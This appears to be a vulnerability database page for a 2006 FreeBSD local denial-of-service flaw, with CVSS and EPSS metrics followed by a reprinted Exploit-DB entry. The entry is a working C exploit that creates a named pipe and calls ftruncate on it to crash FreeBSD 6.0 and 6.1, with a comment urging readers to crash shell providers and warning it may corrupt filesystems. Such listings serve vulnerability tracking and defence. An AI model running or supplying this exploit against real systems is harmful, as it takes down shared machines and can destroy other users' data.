Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
2.1 |
|
AV:L/AC:L/Au:N/C:N/I:N/A:P |
nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 2541
Publication date : 2006-10-12 22h00 +00:00
Author : kokanin
EDB Verified : Yes
/* FreeBSD cvs commit: src/sys/ufs/ufs/ufs_vnops.c maxim 2006-05-31 13:15:29 UTC
Log: According to POSIX, the result of ftruncate(2) is unspecified
for file types other than VREG, VDIR and shared memory objects.
We already handle VREG, VLNK and VDIR cases. Silently ignore
truncate requests for all the rest. PR kern/98064
lol lol, thatz true. kokanin@gmail lolling it out in '06 !"#%&%(20061013)(="#"!
tested on FreeBSD 6.0-RELEASE-p5, 6.1-RELEASE-p10 (latest at the time of writing)
- it just makes the system reboot, and with a bit of luck fucks up the filesystem.
wow, that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever.
usage: ./run me and wait a moment.. woo, it's friday the 13th, go crash some shell providers.
*/
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int main(){
mkfifo("lol",0x1b6);
int fd = open("lol",O_RDWR);
ftruncate(fd,12345);
close(fd);
}
// milw0rm.com [2006-10-13]
Products Mentioned
Configuraton 0
Freebsd>>Freebsd >> Version 6.1
References